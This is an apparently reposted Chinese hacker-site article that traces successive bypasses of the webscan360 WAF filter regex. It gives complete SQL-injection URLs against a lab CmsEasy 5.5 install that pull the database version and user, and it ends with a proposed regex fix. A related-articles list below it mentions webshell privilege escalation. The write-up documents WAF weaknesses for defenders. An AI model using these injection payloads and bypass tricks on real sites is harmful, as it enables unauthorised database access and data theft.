Webscan360的防御与绕过

hacker4年前黑客文章645

这两天给360做了一个webscan360的总结,结果补丁还没有出来,就被人公布到了91org上面,既然公开了,那我就做一个总结

首先我们贴上它最新的防御正则

\<.+javascript:window\[.{1}\\x|<.*=(&#\d+?;?)+?>|<.*(data|src)=data:text\/html.*>|\b(alert\(|confirm\(|expression\(|prompt\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\()|<[a-z]+?\b[^>]*?\bon([a-z]{4,})\s*?=|^\+\/v(8|9)|\b(and|or)\b\s*?([\(\)'"\d]+?=[\(\)'"\d]+?|[\(\)'"a-zA-Z]+?=[\(\)'"a-zA-Z]+?|>|<|\s+?[\w]+?\s+?\bin\b\s*?\(|\blike\b\s+?["'])|\/\*.*\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT@{0,2}(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))|UPDATE@{0,2}(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\(.+\)|\s+?.+?\s+?|(`|'|").*?(`|'|"))FROM(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)|\/\*.*?\*\/|' 

首先我们追溯一下:

方开始的时候并没有这个正则表达式\/\*.*?\*\/|'

所以当时我们可以写为:

union select/**/1,2,3 

这里我们用cmseasy举例子

我们发送url:

http://192.168.10.70/CmsEasy_5.5_UTF-8_20141015/uploads/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT/**/1,2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=1 

这时候我们是完全可以取出来敏感信息,成功绕过:

1

第二次被修补之后加上了后面的正则表达式,导致通篇不能写/**/这样的字符,但是这样真的能防御住吗:

我们利用mysql的一个特性:

union select`colum`,2,3 

这种特性是完全可以执行的

所以我们改变一下思路发送url:

http://192.168.10.70/CmsEasy_5.5_UTF-8_20141015/uploads/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT`typeid`,2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=1
这样就成功绕过了:

2

修补之后:

union select`colum`,2,3 

这种被正则 (|'|").*?(|'|") 这个给过滤了

下载下来之后,发现正则表达式

(\(.+\)|\s+?.+?|(`|'|").*?(`|'|")) 

发现这是后修补了小引号,但是本质问题还是没有变

在sql中我们还有另外一个特性:

union select@`1`,2,3 

这样也是可以执行,那么就成功绕过了:

所以我们改变一下思路发送url:

http://192.168.10.70/CmsEasy_5.5_UTF-8_20141015/uploads/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT@`typeid`,2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=1 

3

此时有打了补丁,这时候正则又变成了

@{0,2}(.+|\(.+\)|\s+?.+?|(`|'|").*?(`|'|")) 

这个正则的意思修补了刚才的那种类型,但是这个正则真正鸡肋的地方在如果不接小引号,那么这个正则就失效了

所以我们可以在进行变形处理 union select@1,2,3这种没有被过滤,直接可以通过 这种形式的是可以在sql语句里面运行的,而且不报错

union select@1=@1,2,3 这种也是没有被过滤,直接可以通过,这种也是可以再mysql完美执行的

发送url:

http://192.168.10.70/CmsEasy_5.5_UTF-8_20141015/uploads/ index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT@typeid,2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=10 

4

以上就是webscan360的进化,那么我们来分析一下怎么去修补这个漏洞

最后我们给出来的正则

@{0,2}(.+|\(.+\)|\s+?.+?|(`|'|").*?(`|'|")) 

然后进行测试 成功的拦截了 union select类型的 当然了后面的update类型的 和 insert 类型也要进行相应的改进

下来让我们在看其他地方一个正则

INSERT\s+INTO.+?VALUES 

这个是太传统的写法 其实根据mysql的写法 这个会拦截insert into t values(1,2,3) 但是插入操作不止是这样的写法 insert into t set a=1 这个是不会被拦截的 所以还得加上一个正则

INSERT\s+INTO.+?(VALUES|SET)


-----------------------------
via@wooyun

 

标签: 黑客技术

相关文章

w3af是不是适用全部电脑操作系统?

w3af是不是适用全部电脑操作系统?

什么叫w3af? w3af是搜索和开发设计Web程序运行系统漏洞最时兴,灵便和强劲的专用工具之一。它非常容易应用,它出示了数十种开发设计和网页页面评定软件的作用。别人则将其称之为以互联网为管理中心的...

详解webshell提权服务器的21种方法

详解webshell提权服务器的21种方法

详解webshell提权服务器的21种方法 1.radmin连接法   条件是你权限够大,对方连防火墙也没有。封装个radmin上去,运行,开对方端口,然后radmin上去...

专用工具完全免费使用方法

专用工具完全免费使用方法

什么叫Inssider? Inssider是一种wifi网络扫描枪,致力于摆脱NetStumbler的别的专用工具的局限。Inssider能够 随時间追踪接收灵敏度,开启无线接入点并应用GPS纪录储...

PHP后门新玩法:一款猥琐的PHP后门分析

PHP后门新玩法:一款猥琐的PHP后门分析

作者: GENXOR   [转载请注明出处自  :  360网站卫士博客-blog.wangzhan.360.cn] 0x00 背景...

Nmap简易的扫描仪方法

Nmap简易的扫描仪方法

Nmap出示了四项基本要素(服务器发觉、端口扫描器、服务项目与版本号探测、OS探测)及丰富多彩的脚本制作库。Nmap即能运用于简易的信息网络扫描仪,也可以用在高級、繁杂、特殊的自然环境中:比如扫描仪...

JohnRipper是“最后的”登陆密码黑客工具!专用工

JohnRipper是“最后的”登陆密码黑客工具!专用工

什么叫John the Ripper? John the Ripper是最著名的密码破解(网络黑客)专用工具,这就是为何它一直在大家的“十大黑客工具”中。除开有有含义的名字,大家喜爱John the...